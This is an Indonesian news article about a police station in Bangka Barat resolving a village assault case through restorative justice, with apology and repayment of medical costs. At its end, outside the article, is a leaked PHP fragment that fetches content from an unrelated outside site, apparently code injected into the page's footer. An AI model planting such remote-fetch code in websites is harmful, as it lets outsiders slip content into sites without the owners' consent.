Polsek Jebus Restorative Justice Kasus Penganiayaan Warga Desa Dapat Kec. Parit Tigaa

Rabu, 20 Desember 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakasus.info | Parit Tiga Jebus, Polsek Jebus Kembali melakukan Gelar khusus penyelesaian perkara melalui metode penerapan prinsip keadilan restorative (restorative justice).

Kegiatan ini dilakukan di Ruangan Restoratif Justice Polres Bangka Barat yang di hadiri oleh KBO Reskrim Polres Bangka Barat, Kasi Propam Polres Bangka Barat, Kasi Kum Polres Bangka Barat, Panit I Unit Reskrim Polsek Jebus, Personil Unit Reskrim Polsek Jebus dan di hadiri oleh Pihak saudara Jodi sebagai Pelapor dan Pihak Aziz dan Manov Sebagai Terlapor beserta Kadus Desa Cupat.

Baca Juga:  Safari Kamtibmas Kapolres AKBP Teguh Priyo Wasono, Kunjungi Puri Carangsari

Perkara Penganiayaan tersebut ( 10/10/2023 ) terjadi di Dsn.Sinar Kelabat Desa Cupat Kec.Parittiga yang mengakibatkan pelapor mengalami luka di bagian kepalanya sehingga melaporkan peristiwa tersebut ke Polsek Jebus.

Baca Juga:  Satelit LAPAN A2-ORARI Ucapkan Selamat Hari Jadi Kota Semarang Ke-474

Terlapor Aziz dan Manov Telah Meminta maaf dan beserta keluarganya telah melakukan pengembalian Pembiayaan Pengobatan atas Luka yang dialami oleh Korban.

Baca Juga:  Kesigapan Prajurit Kodam IV Dalam Penanganan Lonjakan Covid 19 Di Jateng.

Kapolsek Jebus Kompol Albert D. H. Tampubolon, SH Seizin Kapolres Bangka Barat Membenarkan Kasus Penganiayaan terhadap Saudara Jodi telah diselesaikan secara Restorative Justice.
(Tim jejak kasus.info)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>